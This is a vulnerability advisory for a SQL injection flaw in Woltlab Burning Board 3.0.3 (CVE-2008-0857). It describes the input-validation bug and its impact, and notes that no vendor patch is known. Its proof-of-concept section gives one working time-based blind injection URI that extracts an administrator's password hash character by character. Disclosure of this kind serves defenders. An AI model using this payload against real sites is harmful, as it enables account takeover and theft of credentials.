Woltlab Burning Board 'password' SQL Injection Vulnerability

BID:27885

Info

Woltlab Burning Board 'password' SQL Injection Vulnerability

Bugtraq ID: 27885
Class: Input Validation Error
CVE: CVE-2008-0857
Remote: Yes
Local: No
Published: Feb 19 2008 12:00AM
Updated: May 07 2015 05:32PM
Credit: NBBN is credited with the discovery of this vulnerability.
Vulnerable: Woltlab Burning Board 3.0.3 PL 1
Not Vulnerable:

Discussion

Woltlab Burning Board 'password' SQL Injection Vulnerability

Woltlab Burning Board is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Exploit / POC

Woltlab Burning Board 'password' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI and exploit code is available:

http://www.example.com/wbb3/index.php?page=PMList&folderID=0&pageNo=1&sortField=isViewed&sortOrder=ASC, (SELECT password FROM wcf1_user WHERE userID=1 AND IF(ORD(SUBSTR(password,1,1))>55,BENCHMARK(3000000,MD5(23)),1))

Solution / Fix

Woltlab Burning Board 'password' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Woltlab Burning Board 'password' SQL Injection Vulnerability

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